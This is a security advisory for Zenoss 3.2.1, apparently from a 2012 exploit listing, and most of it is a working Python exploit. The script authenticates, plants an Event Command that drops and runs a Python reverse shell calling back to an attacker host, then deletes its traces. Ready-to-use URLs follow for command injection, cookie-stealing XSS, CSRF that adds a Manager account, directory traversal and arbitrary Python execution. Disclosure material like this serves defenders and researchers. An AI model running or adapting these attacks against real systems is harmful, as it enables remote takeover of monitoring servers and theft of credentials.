Zenoss Multiple Security Exploits

Summary

There are multiple security vulnerabilities in Zenoss version 3.x to 4.1.70-1482 which may allow an attacker to take control of the software.

Credit:

The information has been provided by Brendan Coles .


Details

Vulnerable Systems:
 *Zenoss 3.2.1

[*] Arbitrary Command Execution: [Requires Authorized Session]

The function ‘show_daemon_xml_configs(self, daemon, REQUEST=None)’ at line 540
of ‘/opt/zenoss/Products/ZenModel/ZenossInfo.py’ passes a user supplied value
in the ‘daemon’ parameter to a ‘Popen()’ call on lines 591 and 592:

make_xml = ‘ ‘.join([daemon, ‘genxmlconfigs’, ‘>’, xml_default_name])
proc = Popen(make_xml, shell=True, stdout=PIPE, stderr=PIPE)

This allows a malicious user with legitimate credentials (for an account with any
level of Zenoss privilages) to execute arbitrary commands as the ‘zenoss’ user.

The following proof of concept is available:
http://zenoss-host:8080/zport/About/showDaemonXMLConfig?daemon=uname%20-a%26

[*] Arbitrary Command Execution: [Requires Authorized Session]

The Event Commands functionality allows a malicious user with legitimate
credentials and ‘ZenManager’ or ‘Manager’ roles to execute arbitrary commands
by creating an Event Command then creating an Event.

The following exploit is available:

# Zenoss <= 3.2.1 Remote Post-Authentication Command Execution
# o Requires: Credentials for a user with ‘ZenManager’ or ‘Manager’ roles.
# o Tested: Zenoss 3.2.1
# o Default port: 8080
# Brendan Coles <bcoles at gmail dot com> # 2012-03-14

import socket, sys, random, time, re
#verbose = True
verbose = False

# usage
if len(sys.argv) < 6:
print ‘Zenoss <= 3.2.1 Remote Post-Authentication Command Execution’
print ‘[*] Usage: python ‘+sys.argv[0]+’ <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>’
print ‘[*] Example: python ‘+sys.argv[0]+’ 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444′
sys.exit(0)

# zenoss details
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

# reverse shell
LHOST = sys.argv[5]
LPORT = int(sys.argv[6])

# random file name
filename = ”
for i in range(0,random.randint(10,20)):
filename = filename+chr(random.randint(97,122))

# connect to RHOST:RPORT
try:
socket.inet_aton(RHOST)
except socket.error:
print ‘[-] Error: Could not create socket.’
sys.exit(1)
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
except:
print ‘[-] Error: Could not connect to server’
sys.exit(1)

# Login and get cookie
if verbose: print ‘[*] Logging in’
request = ‘GET /zport/acl_users/cookieAuthHelper/login?__ac_name=’+username+’&__ac_password=’+password+’ HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnrn’
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
# get ginger cookie
m = re.search(‘(__ginger_snap=’.+’;)’, data)
if not m:
raise Exception(‘[-] Error: Could not retrieve __ginger_snap cookie value’)
else:
ginger_cookie = str(m.group(1))
except:
print ‘[-] Error: Login failed’
sys.exit(1)

# Add empty command to web interface
if verbose: print ‘[*] Adding command to Zenoss’
request = ‘GET /zport/dmd/ZenEventManager/commands/?id=’+filename+’&manage_addCommand%3Amethod=+Add+&__ac_name=’+username+’&__ac_password=’+password+’ HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnrn’
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
m = re.search(‘(Bobo-Exception-Type: Unauthorized)’, data)
if m: raise Exception(‘[-] Error: Incorrect username/password’)
else: print ‘[+] Added command to Zenoss successfully’
except:
print ‘[-] Error: Adding command to Zenoss failed’
sys.exit(1)

# Wait for command to be saved
wait = 5
if verbose: print ‘[*] Waiting ‘+str(wait)+’ seconds’
time.sleep(wait)

# Edit command to drop a python reverse shell request in /tmp/
if verbose: print ‘[*] Updating command with payload’
postdata = ‘zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22’+LHOST+’%5C%22%3Bport%3D’+str(LPORT)+’%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F’+filename+’.py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F’+filename+’.py%20%26%26%20python%20%2Ftmp%2F’+filename+’.py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+’
request = ‘POST /zport/dmd/ZenEventManager/commands/’+filename+’?__ac_name=’+username+’&__ac_password=’+password+’ HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnX-Requested-With: XMLHttpRequestrnContent-Type: application/x-www-form-urlencodedrnContent-Length: ‘+str(len(postdata))+’rnrn’+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
# get zope cookie
m = re.search(‘(_ZopeId=’.+’;)’, data)
if not m: raise Exception(‘[-] Error: Could not retrieve _ZopeId cookie value’)
else:
zope_cookie = str(m.group(1))
print ‘[+] Sent payload successfully’
except:
print ‘[-] Error: Sending payload failed’
sys.exit(1)

# Wait for command to be saved
wait = 5
if verbose: print ‘[*] Waiting ‘+str(wait)+’ seconds’
time.sleep(wait)

# Send trigger event and get event id
if verbose: print ‘[*] Sending trigger event’
postdata = ‘{‘action’:’EventsRouter’,’method’:’add_event’,’data’:[{‘summary’:”+filename+”,’device’:”+filename+”,’component’:”+filename+”,’severity’:’Info’,’evclasskey’:”,’evclass’:”}],’type’:’rpc’,’tid’:0}’
request = ‘POST /zport/dmd/Events/evconsole_router HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnX-Requested-With: XMLHttpRequestrnCookie: ‘+ginger_cookie+’ ‘+zope_cookie+’rnContent-Type: application/json; charset=UTF-8rnContent-Length: ‘+str(len(postdata))+’rnrn’+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
# get trigger event id ‘evid’
m = re.search(”evid’: ‘(.+)”, data)
evid = ”
if not m: raise Exception(‘[-] Error: Sending trigger event failed’)
else:
evid = str(m.group(1))
print ‘[+] Sent trigger event successfully’
except:
print ‘[-] Error: Sending trigger event failed’

# Wait for command to execute
wait = 60
if verbose: print ‘[*] Waiting ‘+str(wait)+’ seconds’
time.sleep(wait)

# Delete trigger from web interface
if verbose: print ‘[*] Deleting the trigger’
postdata = ‘{‘action’:’EventsRouter’,’method’:’close’,’data’:[{‘evids’:[”+evid+”],’excludeIds’:{},’selectState’:null,’field’:’component’,’direction’:’ASC’,’params’:'{\’severity\’:[5,4,3,2],\’eventState\’:[0,1]}’,’asof’:0}],’type’:’rpc’,’tid’:0}’
request = ‘POST /zport/dmd/Events/evconsole_router HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnX-Requested-With: XMLHttpRequestrnCookie: ‘+ginger_cookie+’ ‘+zope_cookie+’rnContent-Type: application/json; charset=UTF-8rnContent-Length: ‘+str(len(postdata))+’rnrn’+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
print ‘[+] Deleted trigger successfully’
except:
print ‘[-] Error: Deleting trigger failed’

# Delete command from web interface
if verbose: print ‘[*] Deleting the command from Zenoss’
request = ‘GET /zport/dmd/ZenEventManager?zenScreenName=listEventCommands&redirect=false&ids%3Alist=’+filename+’&id=&manage_deleteCommands%3Amethod=Delete&__ac_name=’+username+’&__ac_password=’+password+’ HTTP/1.1rnHost: ‘+RHOST+’:’+str(RPORT)+’rnrn’
try:
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+’rn’
print ‘[+] Deleted command from Zenoss successfully’
except:
print ‘[-] Error: Deleting command failed’
print ‘[+] You should now have a reverse shell at ‘+LHOST+’:’+str(LPORT)
print ‘[+] Don’t forget to delete /tmp/’+filename+’.py’

[*] Stored Cross-Site Scripting (XSS): [Requires Authorized Session]
http://zenoss-host:8080/zport/dmd/Events/Users/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence=’><script>alert(document.cookie)</script><‘
http://zenoss-host:8080/zport/dmd/Events/Users/eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence=’><script>alert(document.cookie)</script><‘
http://zenoss-host:8080/zport/dmd/Events/Status/Snmp/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=’><script>alert(document.cookie)</script><‘
http://zenoss-host:8080/zport/dmd/ZenEventManager/listEventCommands?tableName=eventCommands&sortedHeader=primarySortKey&sortRule=cmp&sortedSence=’><script>alert(document.cookie)</script><‘
http://zenoss-host:8080/zport/dmd/backupInfo?tableName=backupTable&sortedHeader=fileName&sortRule=cmp&sortedSence=’><script>alert(document.cookie)</script>

[*] Open Redirect: [Requires Authorized Session]
http://zenoss-host:8080/zport/acl_users/cookieAuthHelper/login?came_from=http%3a//example%2ecom/%3f

[*] CSRF: add user: [Requires Authorized Session]
http://zenoss-host:8080/zport/dmd/ZenUsers?tableName=userlist&zenScreenName=manageUserFolder.pt&manage_addUser%3Amethod=OK&defaultAdminRole=Manager&roles%3Alist=Manager&userid=username&password=asdf

[*] CSRF: start/stop/restart daemons: [Requires Authorized Session]
http://zenoss-host:8080/zport/About?action=Stop&daemon=zenstatus&manage_daemonAction%3Amethod=Stop
http://zenoss-host:8080/zport/About?action=Restart&daemon=zenstatus&manage_daemonAction%3Amethod=Restart
http://zenoss-host:8080/zport/About?action=Start&daemon=zenstatus&manage_daemonAction%3Amethod=Start

[*] Directory Traversal: Read Arbitrary .log Files: [Requires Authorized Session]
http://zenoss-host:8080/zport/About/viewDaemonLog?daemon=../../../var/log/mysqld

[*] Directory Traversal: Read Arbitrary .conf Files: [Requires Authorized Session]
http://zenoss-host:8080/zport/About/viewDaemonConfig?daemon=../../../../etc/syslog

[*] Directory Traversal: Edit .conf Files: [Requires Authorized Session] [With ‘zenoss’ Filesystem Permissions]
http://zenoss-host:8080/zport/About/editDaemonConfig?daemon=../../../../etc/syslog

[*] Directory Traversal: Python .py Code Execution: [Requires Authorized Session]
http://zenoss-host:8080/zport/RenderServer/plugin?name=../../../../../../tmp/arbitrary-python-file

[*] Informational: Plain text MySQL details: [Requires Authorized Session]
http://zenoss-host:8080/zport/dmd/ZenEventManager

[*] Informational: Full Path Disclosure:
http://zenoss-host:8080/manage

Disclosure Timeline:
Published: 2012-07-22

Categories: Exploits